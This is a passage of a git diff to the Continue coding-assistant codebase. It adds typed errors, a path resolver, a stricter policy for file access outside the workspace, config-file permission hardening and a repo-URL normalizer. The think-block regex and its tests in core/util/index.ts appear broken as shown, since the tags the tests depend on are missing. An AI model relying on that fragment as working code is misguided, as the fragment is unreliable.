- : `No files/folders found in ${dirPath}`;
+ : `No files/folders found in ${resolvedPath.displayPath}`;
const contextItems = [
{
name: "File/folder list",
- description: `Files/folders in ${dirPath}`,
+ description: `Files/folders in ${resolvedPath.displayPath}`,
content,
},
];
diff --git a/core/tools/implementations/lsTool.vitest.ts b/core/tools/implementations/lsTool.vitest.ts
index b697a90c5..c3c571294 100644
--- a/core/tools/implementations/lsTool.vitest.ts
+++ b/core/tools/implementations/lsTool.vitest.ts
@@ -25,7 +25,7 @@ test("resolveLsToolDirPath handles dot", () => {
});
test("resolveLsToolDirPath handles dot relative", () => {
- expect(resolveLsToolDirPath("./hi")).toBe("/hi");
+ expect(resolveLsToolDirPath("./hi")).toBe("./hi");
});
test("resolveLsToolDirPath normalizes backslashes to forward slashes", () => {
diff --git a/core/tools/implementations/readFile.ts b/core/tools/implementations/readFile.ts
index afa6495ad..6c55912ee 100644
--- a/core/tools/implementations/readFile.ts
+++ b/core/tools/implementations/readFile.ts
@@ -1,37 +1,43 @@
-import { resolveRelativePathInDir } from "../../util/ideUtils";
+import { resolveInputPath } from "../../util/pathResolver";
import { getUriPathBasename } from "../../util/uri";
import { ToolImpl } from ".";
import { throwIfFileIsSecurityConcern } from "../../indexing/ignore";
import { getStringArg } from "../parseArgs";
import { throwIfFileExceedsHalfOfContext } from "./readFileLimit";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
export const readFileImpl: ToolImpl = async (args, extras) => {
const filepath = getStringArg(args, "filepath");
- throwIfFileIsSecurityConcern(filepath);
- const firstUriMatch = await resolveRelativePathInDir(filepath, extras.ide);
- if (!firstUriMatch) {
- throw new Error(
- `File "${filepath}" does not exist. You might want to check the path and try again.`,
+ // Resolve the path first to get the actual path for security check
+ const resolvedPath = await resolveInputPath(extras.ide, filepath);
+ if (!resolvedPath) {
+ throw new ContinueError(
+ ContinueErrorReason.FileNotFound,
+ `File "${filepath}" does not exist or is not accessible. You might want to check the path and try again.`,
);
}
- const content = await extras.ide.readFile(firstUriMatch);
+
+ // Security check on the resolved display path
+ throwIfFileIsSecurityConcern(resolvedPath.displayPath);
+
+ const content = await extras.ide.readFile(resolvedPath.uri);
await throwIfFileExceedsHalfOfContext(
- filepath,
+ resolvedPath.displayPath,
content,
extras.config.selectedModelByRole.chat,
);
return [
{
- name: getUriPathBasename(firstUriMatch),
- description: filepath,
+ name: getUriPathBasename(resolvedPath.uri),
+ description: resolvedPath.displayPath,
content,
uri: {
type: "file",
- value: firstUriMatch,
+ value: resolvedPath.uri,
},
},
];
diff --git a/core/tools/implementations/readFileLimit.ts b/core/tools/implementations/readFileLimit.ts
index e2af14d56..48f4b9f86 100644
--- a/core/tools/implementations/readFileLimit.ts
+++ b/core/tools/implementations/readFileLimit.ts
@@ -1,5 +1,6 @@
import { ILLM } from "../..";
import { countTokensAsync } from "../../llm/countTokens";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
export async function throwIfFileExceedsHalfOfContext(
filepath: string,
@@ -10,7 +11,8 @@ export async function throwIfFileExceedsHalfOfContext(
const tokens = await countTokensAsync(content, model.title);
const tokenLimit = model.contextLength / 2;
if (tokens > tokenLimit) {
- throw new Error(
+ throw new ContinueError(
+ ContinueErrorReason.FileTooLarge,
`File ${filepath} is too large (${tokens} tokens vs ${tokenLimit} token limit). Try another approach`,
);
}
diff --git a/core/tools/implementations/readFileRange.ts b/core/tools/implementations/readFileRange.ts
index c313f4bff..7b5f47338 100644
--- a/core/tools/implementations/readFileRange.ts
+++ b/core/tools/implementations/readFileRange.ts
@@ -1,9 +1,11 @@
-import { resolveRelativePathInDir } from "../../util/ideUtils";
+import { resolveInputPath } from "../../util/pathResolver";
import { getUriPathBasename } from "../../util/uri";
import { ToolImpl } from ".";
+import { throwIfFileIsSecurityConcern } from "../../indexing/ignore";
import { getNumberArg, getStringArg } from "../parseArgs";
import { throwIfFileExceedsHalfOfContext } from "./readFileLimit";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
export const readFileRangeImpl: ToolImpl = async (args, extras) => {
const filepath = getStringArg(args, "filepath");
@@ -12,30 +14,38 @@ export const readFileRangeImpl: ToolImpl = async (args, extras) => {
// Validate that line numbers are positive integers
if (startLine < 1) {
- throw new Error(
+ throw new ContinueError(
+ ContinueErrorReason.InvalidLineNumber,
"startLine must be 1 or greater. Negative line numbers are not supported - use the terminal tool with 'tail' command for reading from file end.",
);
}
if (endLine < 1) {
- throw new Error(
+ throw new ContinueError(
+ ContinueErrorReason.InvalidLineNumber,
"endLine must be 1 or greater. Negative line numbers are not supported - use the terminal tool with 'tail' command for reading from file end.",
);
}
if (endLine < startLine) {
- throw new Error(
+ throw new ContinueError(
+ ContinueErrorReason.InvalidLineNumber,
`endLine (${endLine}) must be greater than or equal to startLine (${startLine})`,
);
}
- const firstUriMatch = await resolveRelativePathInDir(filepath, extras.ide);
- if (!firstUriMatch) {
- throw new Error(
- `File "${filepath}" does not exist. You might want to check the path and try again.`,
+ // Resolve the path first to get the actual path for security check
+ const resolvedPath = await resolveInputPath(extras.ide, filepath);
+ if (!resolvedPath) {
+ throw new ContinueError(
+ ContinueErrorReason.FileNotFound,
+ `File "${filepath}" does not exist or is not accessible. You might want to check the path and try again.`,
);
}
+ // Security check on the resolved display path
+ throwIfFileIsSecurityConcern(resolvedPath.displayPath);
+
// Use the IDE's readRangeInFile method with 0-based range (IDE expects 0-based internally)
- const content = await extras.ide.readRangeInFile(firstUriMatch, {
+ const content = await extras.ide.readRangeInFile(resolvedPath.uri, {
start: {
line: startLine - 1, // Convert from 1-based to 0-based
character: 0,
@@ -47,21 +57,21 @@ export const readFileRangeImpl: ToolImpl = async (args, extras) => {
});
await throwIfFileExceedsHalfOfContext(
- filepath,
+ resolvedPath.displayPath,
content,
extras.config.selectedModelByRole.chat,
);
- const rangeDescription = `${filepath} (lines ${startLine}-${endLine})`;
+ const rangeDescription = `${resolvedPath.displayPath} (lines ${startLine}-${endLine})`;
return [
{
- name: getUriPathBasename(firstUriMatch),
+ name: getUriPathBasename(resolvedPath.uri),
description: rangeDescription,
content,
uri: {
type: "file",
- value: firstUriMatch,
+ value: resolvedPath.uri,
},
},
];
diff --git a/core/tools/implementations/requestRule.ts b/core/tools/implementations/requestRule.ts
index 61467e429..21ee86af8 100644
--- a/core/tools/implementations/requestRule.ts
+++ b/core/tools/implementations/requestRule.ts
@@ -1,4 +1,5 @@
import { ToolImpl } from ".";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
import { getStringArg } from "../parseArgs";
export const requestRuleImpl: ToolImpl = async (args, extras) => {
@@ -7,8 +8,11 @@ export const requestRuleImpl: ToolImpl = async (args, extras) => {
// Find the rule by name in the config
const rule = extras.config.rules.find((r) => r.name === name);
- if (!rule || !rule.ruleFile) {
- throw new Error(`Rule with name "${name}" not found or has no file path`);
+ if (!rule || !rule.sourceFile) {
+ throw new ContinueError(
+ ContinueErrorReason.RuleNotFound,
+ `Rule with name "${name}" not found or has no file path`,
+ );
}
return [
@@ -18,7 +22,7 @@ export const requestRuleImpl: ToolImpl = async (args, extras) => {
content: rule.rule,
uri: {
type: "file",
- value: rule.ruleFile,
+ value: rule.sourceFile,
},
},
];
diff --git a/core/tools/implementations/runTerminalCommand.ts b/core/tools/implementations/runTerminalCommand.ts
index cccf3353b..15b1dc1bf 100644
--- a/core/tools/implementations/runTerminalCommand.ts
+++ b/core/tools/implementations/runTerminalCommand.ts
@@ -2,6 +2,7 @@ import iconv from "iconv-lite";
import childProcess from "node:child_process";
import os from "node:os";
import util from "node:util";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
// Automatically decode the buffer according to the platform to avoid garbled Chinese
function getDecodedOutput(data: Buffer): string {
if (process.platform === "win32") {
@@ -337,7 +338,8 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => {
if (code === 0) {
resolve({ stdout, stderr });
} else {
- const error = new Error(
+ const error = new ContinueError(
+ ContinueErrorReason.CommandExecutionFailed,
`Command failed with exit code ${code}`,
);
(error as any).stderr = stderr;
diff --git a/core/tools/implementations/viewSubdirectory.ts b/core/tools/implementations/viewSubdirectory.ts
index b7897aae8..c48ec0cd3 100644
--- a/core/tools/implementations/viewSubdirectory.ts
+++ b/core/tools/implementations/viewSubdirectory.ts
@@ -1,20 +1,33 @@
import generateRepoMap from "../../util/generateRepoMap";
-import { resolveRelativePathInDir } from "../../util/ideUtils";
+import { resolveInputPath } from "../../util/pathResolver";
import { ToolImpl } from ".";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
import { getStringArg } from "../parseArgs";
export const viewSubdirectoryImpl: ToolImpl = async (args: any, extras) => {
const directory_path = getStringArg(args, "directory_path");
- const uri = await resolveRelativePathInDir(directory_path, extras.ide);
+ const resolvedPath = await resolveInputPath(extras.ide, directory_path);
- if (!uri) {
- throw new Error(`Directory path "${directory_path}" does not exist.`);
+ if (!resolvedPath) {
+ throw new ContinueError(
+ ContinueErrorReason.DirectoryNotFound,
+ `Directory path "${directory_path}" does not exist or is not accessible.`,
+ );
+ }
+
+ // Check if the resolved path actually exists
+ const exists = await extras.ide.fileExists(resolvedPath.uri);
+ if (!exists) {
+ throw new ContinueError(
+ ContinueErrorReason.DirectoryNotFound,
+ `Directory path "${directory_path}" does not exist or is not accessible.`,
+ );
}
const repoMap = await generateRepoMap(extras.llm, extras.ide, {
- dirUris: [uri],
+ dirUris: [resolvedPath.uri],
outputRelativeUriPaths: true,
includeSignatures: false,
});
@@ -22,7 +35,7 @@ export const viewSubdirectoryImpl: ToolImpl = async (args: any, extras) => {
return [
{
name: "Repo map",
- description: `Map of ${directory_path}`,
+ description: `Map of ${resolvedPath.displayPath}`,
content: repoMap,
},
];
diff --git a/core/tools/implementations/viewSubdirectory.vitest.ts b/core/tools/implementations/viewSubdirectory.vitest.ts
new file mode 100644
index 000000000..1bbd6243a
--- /dev/null
+++ b/core/tools/implementations/viewSubdirectory.vitest.ts
@@ -0,0 +1,51 @@
+import { describe, expect, it, vi } from "vitest";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
+import { viewSubdirectoryImpl } from "./viewSubdirectory";
+
+describe("viewSubdirectoryImpl", () => {
+ it("should throw DirectoryNotFound when resolveInputPath returns null", async () => {
+ const mockExtras = {
+ ide: {
+ fileExists: vi.fn().mockResolvedValue(false),
+ getWorkspaceDirs: vi.fn().mockResolvedValue(["file:///workspace"]),
+ },
+ llm: {},
+ };
+
+ // resolveInputPath will return null when path doesn't exist
+ await expect(
+ viewSubdirectoryImpl(
+ { directory_path: "/non/existent/path" },
+ mockExtras as any,
+ ),
+ ).rejects.toThrow(ContinueError);
+ });
+
+ it("should throw DirectoryNotFound when path exists in resolveInputPath but not on filesystem", async () => {
+ const mockExtras = {
+ ide: {
+ fileExists: vi.fn().mockResolvedValue(false), // Path doesn't exist
+ getWorkspaceDirs: vi.fn().mockResolvedValue(["file:///workspace"]),
+ },
+ llm: {},
+ };
+
+ // This test verifies the fix - even if resolveInputPath returns a valid object,
+ // we still check if the path exists and throw if it doesn't
+ try {
+ await viewSubdirectoryImpl(
+ { directory_path: "/some/absolute/path" },
+ mockExtras as any,
+ );
+ expect.fail("Should have thrown DirectoryNotFound error");
+ } catch (error) {
+ expect(error).toBeInstanceOf(ContinueError);
+ expect((error as ContinueError).reason).toBe(
+ ContinueErrorReason.DirectoryNotFound,
+ );
+ expect((error as ContinueError).message).toContain(
+ "does not exist or is not accessible",
+ );
+ }
+ });
+});
diff --git a/core/tools/index.ts b/core/tools/index.ts
index e021a601c..bdc519dc9 100644
--- a/core/tools/index.ts
+++ b/core/tools/index.ts
@@ -51,3 +51,8 @@ export const getConfigDependentToolDefinitions = (
return tools;
};
+
+export function serializeTool(tool: Tool) {
+ const { preprocessArgs, evaluateToolCallPolicy, ...rest } = tool;
+ return rest;
+}
diff --git a/core/tools/mcpToolName.vitest.ts b/core/tools/mcpToolName.vitest.ts
index 6a7042d8f..c49f4e852 100644
--- a/core/tools/mcpToolName.vitest.ts
+++ b/core/tools/mcpToolName.vitest.ts
@@ -12,10 +12,8 @@ const createMcpServer = (name: string): MCPServerStatus => ({
resourceTemplates: [],
status: "connected",
id: "",
- transport: {
- type: "sse",
- url: "",
- },
+ type: "sse",
+ url: "",
isProtectedResource: false,
});
diff --git a/core/tools/policies/fileAccess.ts b/core/tools/policies/fileAccess.ts
new file mode 100644
index 000000000..2d6801f54
--- /dev/null
+++ b/core/tools/policies/fileAccess.ts
@@ -0,0 +1,26 @@
+import { ToolPolicy } from "@continuedev/terminal-security";
+
+/**
+ * Evaluates file access policy based on whether the file is within workspace boundaries
+ *
+ * @param basePolicy - The base policy from tool definition or user settings
+ * @param isWithinWorkspace - Whether the file/directory is within workspace
+ * @returns The evaluated policy - more restrictive for files outside workspace
+ */
+export function evaluateFileAccessPolicy(
+ basePolicy: ToolPolicy,
+ isWithinWorkspace: boolean,
+): ToolPolicy {
+ // If tool is disabled, keep it disabled
+ if (basePolicy === "disabled") {
+ return "disabled";
+ }
+
+ // Files within workspace use the base policy (typically "allowedWithoutPermission")
+ if (isWithinWorkspace) {
+ return basePolicy;
+ }
+
+ // Files outside workspace always require permission for security
+ return "allowedWithPermission";
+}
diff --git a/core/util/GlobalContext.ts b/core/util/GlobalContext.ts
index 0a1778395..44b9b5f11 100644
--- a/core/util/GlobalContext.ts
+++ b/core/util/GlobalContext.ts
@@ -30,6 +30,7 @@ export type GlobalContextType = {
selectedModelsByProfileId: {
[profileId: string]: GlobalContextModelSelections;
};
+ cliSelectedModel?: string; // CLI-specific model selection for unauthenticated users
/**
* This is needed to handle the case where a JetBrains user has created
diff --git a/core/util/chatDescriber.test.ts b/core/util/chatDescriber.test.ts
index 315cb3fea..64ba68314 100644
--- a/core/util/chatDescriber.test.ts
+++ b/core/util/chatDescriber.test.ts
@@ -30,7 +30,7 @@ describe("ChatDescriber", () => {
expect(result).toBeUndefined();
});
- it("should set completionOptions.maxTokens to 12", async () => {
+ it("should set completionOptions.maxTokens to 16", async () => {
const message = "Test message";
const completionOptions: LLMFullCompletionOptions = { temperature: 0.7 };
diff --git a/core/util/chatDescriber.ts b/core/util/chatDescriber.ts
index 873d07327..33a2b31ba 100644
--- a/core/util/chatDescriber.ts
+++ b/core/util/chatDescriber.ts
@@ -8,7 +8,7 @@ import { renderChatMessage } from "./messageContent";
import { convertFromUnifiedHistory } from "./messageConversion";
export class ChatDescriber {
- static maxTokens = 12;
+ static maxTokens = 16; // Increased from 12 to meet GPT-5 minimum requirement
static prompt: string | undefined =
"Given the following... please reply with a title for the chat that is 3-4 words in length, all words used should be directly related to the content of the chat, avoid using verbs unless they are directly related to the content of the chat, no additional text or explanation, you don't need ending punctuation.\n\n";
static messenger: IMessenger;
diff --git a/core/util/errors.ts b/core/util/errors.ts
index f80fa6b70..69df7c814 100644
--- a/core/util/errors.ts
+++ b/core/util/errors.ts
@@ -10,3 +10,59 @@ export function getRootCause(err: any): any {
}
return err;
}
+
+export class ContinueError extends Error {
+ reason: ContinueErrorReason;
+
+ constructor(reason: ContinueErrorReason, message?: string) {
+ super(message);
+ this.reason = reason;
+ this.name = "ContinueError";
+ }
+}
+
+export enum ContinueErrorReason {
+ // Find and Replace validation errors
+ FindAndReplaceIdenticalOldAndNewStrings = "find_and_replace_identical_old_and_new_strings",
+ FindAndReplaceMissingOldString = "find_and_replace_missing_old_string",
+ FindAndReplaceNonFirstEmptyOldString = "find_and_replace_non_first_empty_old_string",
+ FindAndReplaceMissingNewString = "find_and_replace_missing_new_string",
+ FindAndReplaceInvalidReplaceAll = "find_and_replace_invalid_replace_all",
+ FindAndReplaceOldStringNotFound = "find_and_replace_old_string_not_found",
+ FindAndReplaceMultipleOccurrences = "find_and_replace_multiple_occurrences",
+ FindAndReplaceMissingFilepath = "find_and_replace_missing_filepath",
+
+ // Multi-edit
+ MultiEditEditsArrayRequired = "multi_edit_edits_array_required",
+ MultiEditEditsArrayEmpty = "multi_edit_edits_array_empty",
+ MultiEditSubsequentEditsOnCreation = "multi_edit_subsequent_edits_on_creation",
+ MultiEditEmptyOldStringNotFirst = "multi_edit_empty_old_string_not_first",
+
+ // General Edit
+ EditToolFileNotRead = "edit_tool_file_not_yet_read",
+
+ // General File
+ FileAlreadyExists = "file_already_exists",
+ FileNotFound = "file_not_found",
+ FileWriteError = "file_write_error",
+ FileIsSecurityConcern = "file_is_security_concern",
+ ParentDirectoryNotFound = "parent_directory_not_found",
+ FileTooLarge = "file_too_large",
+ PathResolutionFailed = "path_resolution_failed",
+ InvalidLineNumber = "invalid_line_number",
+ DirectoryNotFound = "directory_not_found",
+
+ // Terminal/Command execution
+ CommandExecutionFailed = "command_execution_failed",
+ CommandNotAvailableInRemote = "command_not_available_in_remote",
+
+ // Search
+ SearchExecutionFailed = "search_execution_failed",
+
+ // Rules
+ RuleNotFound = "rule_not_found",
+
+ // Other
+ Unspecified = "unspecified", // I.e. a known error but no specific code for it
+ Unknown = "unknown", // I.e. an unexpected error
+}
diff --git a/core/util/historyUtils.ts b/core/util/historyUtils.ts
new file mode 100644
index 000000000..fc0939c7b
--- /dev/null
+++ b/core/util/historyUtils.ts
@@ -0,0 +1,105 @@
+import fs from "fs";
+import { homedir } from "node:os";
+import { fileURLToPath, pathToFileURL } from "node:url";
+import path from "path";
+
+import { languageForFilepath } from "../autocomplete/constants/AutocompleteLanguageInfo.js";
+import { ChatMessage, IDE } from "../index.js";
+import { renderChatMessage } from "../util/messageContent.js";
+import { getContinueGlobalPath } from "../util/paths.js";
+
+// If useful elsewhere, helper funcs should move to core/util/index.ts or similar
+function getOffsetDatetime(date: Date): Date {
+ const offset = date.getTimezoneOffset();
+ const offsetHours = Math.floor(offset / 60);
+ const offsetMinutes = offset % 60;
+ date.setHours(date.getHours() - offsetHours);
+ date.setMinutes(date.getMinutes() - offsetMinutes);
+
+ return date;
+}
+
+function asBasicISOString(date: Date): string {
+ const isoString = date.toISOString();
+
+ return isoString.replace(/[-:]|(\.\d+Z)/g, "");
+}
+
+function reformatCodeBlocks(msgText: string): string {
+ const codeBlockFenceRegex = /```((.*?\.(\w+))\s*.*)\n/g;
+ msgText = msgText.replace(
+ codeBlockFenceRegex,
+ (match, metadata, filename, extension) => {
+ const lang = languageForFilepath(filename);
+ return `\`\`\`${extension}\n${lang.singleLineComment} ${metadata}\n`;
+ },
+ );
+ // Appease the markdown linter
+ return msgText.replace(/```\n```/g, "```\n\n```");
+}
+
+export function toMarkDown(history: ChatMessage[], time?: Date): string {
+ if (!time) {
+ time = new Date();
+ }
+ let content = `### [Continue](https://continue.dev) session transcript\n Exported: ${time.toLocaleString()}`;
+
+ for (const msg of history) {
+ let msgText = renderChatMessage(msg);
+ if (!msgText) {
+ continue; // Skip messages without content
+ }
+
+ if (msg.role === "user" && msgText.search("```") > -1) {
+ msgText = reformatCodeBlocks(msgText);
+ }
+
+ // format messages as blockquotes
+ msgText = msgText.replace(/^/gm, "> ");
+
+ content += `\n\n#### ${
+ msg.role === "user" ? "_User_" : "_Assistant_"
+ }\n\n${msgText}`;
+ }
+ return content;
+}
+
+export async function shareSession(
+ ide: IDE,
+ history: ChatMessage[],
+ outputDir?: string,
+) {
+ const now = new Date();
+ const content = toMarkDown(history, now);
+
+ outputDir = outputDir ?? getContinueGlobalPath();
+
+ if (outputDir.startsWith("~")) {
+ outputDir = outputDir.replace(/^~/, homedir);
+ } else if (
+ outputDir.startsWith("./") ||
+ outputDir.startsWith(".\\") ||
+ outputDir === "."
+ ) {
+ const workspaceDirs = await ide.getWorkspaceDirs();
+ // Although the most common situation is to have one directory open in a
+ // workspace it's also possible to have just a file open without an
+ // associated directory or to use multi-root workspaces in which multiple
+ // folders are included. We default to using the first item in the list, if
+ // it exists.
+ const workspaceDirectory = workspaceDirs?.[0] || "";
+ outputDir = outputDir.replace(/^./, fileURLToPath(workspaceDirectory));
+ }
+
+ if (!fs.existsSync(outputDir)) {
+ fs.mkdirSync(outputDir, { recursive: true });
+ }
+
+ const dtString = asBasicISOString(getOffsetDatetime(now));
+ const outPath = path.join(outputDir, `${dtString}_session.md`); //TODO: more flexible naming?
+
+ const fileUrl = pathToFileURL(outPath).toString(); // TODO switch from path to URI above ^
+ await ide.writeFile(fileUrl, content);
+ await ide.openFile(fileUrl);
+ return fileUrl;
+}
diff --git a/core/util/index.test.ts b/core/util/index.test.ts
index fc48a49b2..a77473c25 100644
--- a/core/util/index.test.ts
+++ b/core/util/index.test.ts
@@ -1,9 +1,9 @@
// File generated by Continue
import {
+ copyOf,
dedent,
dedentAndGetCommonWhitespace,
deduplicateArray,
- copyOf,
getMarkdownLanguageTagForFile,
removeCodeBlocksAndTrim,
removeQuotesAndEscapes,
@@ -463,4 +463,30 @@ describe("removeCodeBlocksAndTrim", () => {
const output = removeCodeBlocksAndTrim(text);
expect(output).toBe("");
});
+ it("should remove think blocks from text", () => {
+ const text =
+ "Okay, the user wants me to help with... Here is my actual response.";
+ const output = removeCodeBlocksAndTrim(text);
+ expect(output).toBe("Here is my actual response.");
+ });
+
+ it("should remove both code blocks and think blocks", () => {
+ const text =
+ "Let me plan this... Here's some code:\n```javascript\nconsole.log('hello');\n```\nThat should work!";
+ const output = removeCodeBlocksAndTrim(text);
+ expect(output).toBe("Here's some code:\n\nThat should work!");
+ });
+
+ it("should handle multiple think blocks", () => {
+ const text =
+ "First thought Some textSecond thought More text";
+ const output = removeCodeBlocksAndTrim(text);
+ expect(output).toBe("Some textMore text");
+ });
+
+ it("should handle think blocks with newlines", () => {
+ const text = "\nMultiline\nthinking\n \nActual response";
+ const output = removeCodeBlocksAndTrim(text);
+ expect(output).toBe("Actual response");
+ });
});
diff --git a/core/util/index.ts b/core/util/index.ts
index 4b3b17535..76b319bdd 100644
--- a/core/util/index.ts
+++ b/core/util/index.ts
@@ -197,11 +197,13 @@ export function dedent(strings: TemplateStringsArray, ...values: any[]) {
*/
export function removeCodeBlocksAndTrim(text: string): string {
const codeBlockRegex = /```[\s\S]*?```/g;
+ const thinkBlockRegex = /[\s\S]*?<\/think>/g;
- // Remove code blocks from the message text
- const textWithoutCodeBlocks = text.replace(codeBlockRegex, "");
+ // Remove code blocks and think blocks from the message text
+ let processedText = text.replace(codeBlockRegex, "");
+ processedText = processedText.replace(thinkBlockRegex, "");
- return textWithoutCodeBlocks.trim();
+ return processedText.trim();
}
export function splitCamelCaseAndNonAlphaNumeric(value: string) {
diff --git a/core/util/pathResolver.ts b/core/util/pathResolver.ts
new file mode 100644
index 000000000..25fe75816
--- /dev/null
+++ b/core/util/pathResolver.ts
@@ -0,0 +1,84 @@
+import { fileURLToPath, pathToFileURL } from "node:url";
+import * as path from "path";
+import untildify from "untildify";
+import { IDE } from "..";
+import { resolveRelativePathInDir } from "./ideUtils";
+import { findUriInDirs } from "./uri";
+
+export interface ResolvedPath {
+ uri: string;
+ displayPath: string;
+ isAbsolute: boolean;
+ isWithinWorkspace: boolean;
+}
+
+/**
+ * Checks if a URI is within any of the workspace directories
+ * Also verifies the file actually exists, matching the behavior of resolveRelativePathInDir
+ */
+async function isUriWithinWorkspace(ide: IDE, uri: string): Promise {
+ const workspaceDirs = await ide.getWorkspaceDirs();
+ const { foundInDir } = findUriInDirs(uri, workspaceDirs);
+
+ // Check both: within workspace path AND file exists
+ if (foundInDir !== null) {
+ return await ide.fileExists(uri);
+ }
+
+ return false;
+}
+
+export async function resolveInputPath(
+ ide: IDE,
+ inputPath: string,
+): Promise {
+ const trimmedPath = inputPath.trim();
+
+ // Handle file:// URIs
+ if (trimmedPath.startsWith("file://")) {
+ const displayPath = fileURLToPath(trimmedPath);
+ const isWithinWorkspace = await isUriWithinWorkspace(ide, trimmedPath);
+ return {
+ uri: trimmedPath,
+ displayPath,
+ isAbsolute: true,
+ isWithinWorkspace,
+ };
+ }
+
+ // Expand tilde paths (handles ~/ and ~username/)
+ const expandedPath = untildify(trimmedPath);
+
+ // Check if it's an absolute path (including Windows paths)
+ const isAbsolute =
+ path.isAbsolute(expandedPath) ||
+ // Windows network paths
+ expandedPath.startsWith("\\\\") ||
+ // Windows drive letters
+ /^[a-zA-Z]:/.test(expandedPath);
+
+ if (isAbsolute) {
+ // Convert to file:// URI format
+ const uri = pathToFileURL(expandedPath).href;
+ const isWithinWorkspace = await isUriWithinWorkspace(ide, uri);
+ return {
+ uri,
+ displayPath: expandedPath,
+ isAbsolute: true,
+ isWithinWorkspace,
+ };
+ }
+
+ // Handle relative paths...
+ const workspaceUri = await resolveRelativePathInDir(expandedPath, ide);
+ if (workspaceUri) {
+ return {
+ uri: workspaceUri,
+ displayPath: expandedPath,
+ isAbsolute: false,
+ isWithinWorkspace: true,
+ };
+ }
+
+ return null;
+}
diff --git a/core/util/paths.ts b/core/util/paths.ts
index de587cf0d..122ec2f94 100644
--- a/core/util/paths.ts
+++ b/core/util/paths.ts
@@ -14,6 +14,16 @@ import Types from "../config/types";
dotenv.config();
+export function setConfigFilePermissions(filePath: string): void {
+ try {
+ if (os.platform() !== "win32") {
+ fs.chmodSync(filePath, 0o600);
+ }
+ } catch (error) {
+ console.warn(`Failed to set permissions on ${filePath}:`, error);
+ }
+}
+
const CONTINUE_GLOBAL_DIR = (() => {
const configPath = process.env.CONTINUE_GLOBAL_DIR;
if (configPath) {
@@ -117,6 +127,7 @@ export function getConfigYamlPath(ideType?: IdeType): string {
} else {
fs.writeFileSync(p, YAML.stringify(defaultConfig));
}
+ setConfigFilePermissions(p);
}
return p;
}
@@ -255,12 +266,14 @@ function editConfigJson(
}
function editConfigYaml(callback: (config: ConfigYaml) => ConfigYaml): void {
- const config = fs.readFileSync(getConfigYamlPath(), "utf8");
+ const configPath = getConfigYamlPath();
+ const config = fs.readFileSync(configPath, "utf8");
let configYaml = YAML.parse(config);
// Check if it's an object
if (typeof configYaml === "object" && configYaml !== null) {
configYaml = callback(configYaml as any) as any;
- fs.writeFileSync(getConfigYamlPath(), YAML.stringify(configYaml));
+ fs.writeFileSync(configPath, YAML.stringify(configYaml));
+ setConfigFilePermissions(configPath);
} else {
console.warn("config.yaml is not a valid object");
}
diff --git a/core/util/repoUrl.ts b/core/util/repoUrl.ts
new file mode 100644
index 000000000..4634cc142
--- /dev/null
+++ b/core/util/repoUrl.ts
@@ -0,0 +1,70 @@
+/**
+ * Utility functions for normalizing and handling repository URLs.
+ */
+
+/**
+ * Normalizes a repository URL to a consistent format.
+ *
+ * Handles various Git URL formats and converts them to a standard HTTPS GitHub URL:
+ * - SSH format: `git@github.com:owner/repo.git` → `https://github.com/owner/repo`
+ * - SSH protocol: `ssh://git@github.com/owner/repo.git` → `https://github.com/owner/repo`
+ * - Shorthand: `owner/repo` → `https://github.com/owner/repo`
+ * - Removes `.git` suffix
+ * - Removes trailing slashes
+ * - Normalizes to lowercase
+ *
+ * @param url - The repository URL to normalize
+ * @returns The normalized repository URL in lowercase HTTPS format
+ *
+ * @example
+ * ```typescript
+ * normalizeRepoUrl("git@github.com:owner/repo.git")
+ * // Returns: "https://github.com/owner/repo"
+ *
+ * normalizeRepoUrl("owner/repo")
+ * // Returns: "https://github.com/owner/repo"
+ *
+ * normalizeRepoUrl("https://github.com/Owner/Repo.git")
+ * // Returns: "https://github.com/owner/repo"
+ * ```
+ */
+export function normalizeRepoUrl(url: string): string {
+ if (!url) return "";
+
+ let normalized = url.trim();
+
+ // Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo
+ if (normalized.startsWith("git@github.com:")) {
+ normalized = normalized.replace("git@github.com:", "https://github.com/");
+ }
+
+ // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo
+ // Also handles: ssh://git@github.com:owner/repo.git (less common)
+ if (normalized.startsWith("ssh://git@github.com")) {
+ normalized = normalized
+ .replace("ssh://git@github.com/", "https://github.com/")
+ .replace("ssh://git@github.com:", "https://github.com/");
+ }
+
+ // Convert shorthand owner/repo to full URL
+ if (
+ normalized.includes("/") &&
+ !/^[a-z]+:\/\//i.test(normalized) &&
+ !normalized.startsWith("git@")
+ ) {
+ normalized = `https://github.com/${normalized}`;
+ }
+
+ // Remove trailing slash before removing .git suffix
+ if (normalized.endsWith("/")) {
+ normalized = normalized.slice(0, -1);
+ }
+
+ // Remove .git suffix
+ if (normalized.endsWith(".git")) {
+ normalized = normalized.slice(0, -4);
+ }
+
+ // Normalize to lowercase
+ return normalized.toLowerCase();
+}
diff --git a/core/util/repoUrl.vitest.ts b/core/util/repoUrl.vitest.ts
new file mode 100644
index 000000000..da58cc076
--- /dev/null
+++ b/core/util/repoUrl.vitest.ts
@@ -0,0 +1,217 @@
+import { describe, expect, it } from "vitest";
+import { normalizeRepoUrl } from "./repoUrl";
+
+describe("normalizeRepoUrl", () => {
+ describe("SSH format conversion", () => {
+ it("should convert SSH format to HTTPS", () => {
+ expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should convert SSH format without .git suffix", () => {
+ expect(normalizeRepoUrl("git@github.com:owner/repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should convert SSH format with uppercase to lowercase", () => {
+ expect(normalizeRepoUrl("git@github.com:Owner/Repo.git")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+ });
+
+ describe("SSH protocol conversion", () => {
+ it("should convert ssh:// protocol with slash separator", () => {
+ expect(normalizeRepoUrl("ssh://git@github.com/owner/repo.git")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should convert ssh:// protocol with colon separator (less common)", () => {
+ expect(normalizeRepoUrl("ssh://git@github.com:owner/repo.git")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should convert ssh:// protocol without .git suffix", () => {
